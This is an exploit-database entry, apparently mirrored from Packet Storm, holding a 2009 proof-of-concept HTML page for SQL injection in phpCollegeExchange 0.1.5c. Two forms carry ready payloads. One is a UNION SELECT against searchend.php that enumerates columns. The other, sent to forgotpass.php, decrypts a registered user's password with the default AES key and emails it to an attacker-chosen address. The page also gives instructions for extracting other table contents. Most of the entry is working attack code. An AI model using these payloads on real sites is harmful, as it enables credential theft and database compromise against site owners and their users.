phpCollegeExchange 0.1.5c SQL Injection

🗓️ 13 Dec 2009 00:00:00Reported by Salvatore FrestaType

packetstorm🔗 packetstormsecurity.com👁 16 Views

phpCollegeExchange 0.1.5c SQL Injection - Po

`<html>  
<head>  
<title>PoC - phpCollegeExchange 0.1.5c SQL Injection - Salvatore Fresta aka Drosophila</title>  
</head>  
<body>  
<p>This code will print the columns number found by the injection.</p>  
<p>In order to view the content of the fields, you must exchange the number with the field name, adding a FROM table_name at the end of the injection query.</p><br>  
<form action="http://site/path/books/searchend.php" method="POST">  
<input type="hidden" name="searchby" value="Title">  
<input type="hidden" name="searchquery" value="%') UNION ALL SELECT 1,2,3,4,5,6,7,8,9#">  
<input type="submit" value="Test searchend.php">  
</form>  
<p>This code will send to an arbitrary email address the password of a registered user.</p>  
<p>In order to test the following bug, you must know the AES key (default: mykey) and a registered username. Please change the email account into the injection query to view the result.</p><br>  
<form action="http://site/path/books/forgotpass.php" method="POST">  
<input type="text" name="handle" value="-111111') UNION ALL SELECT AES_DECRYPT(password,'mykey'), '[email protected]' FROM users WHERE handle='registered-username'#"><br>  
<input type="submit" value="Test forgotpass.php">  
</form>  
</body>  
</html>  
  
`

13 Dec 2009 00:00Current

0.6Low risk

Vulners AI Score0.6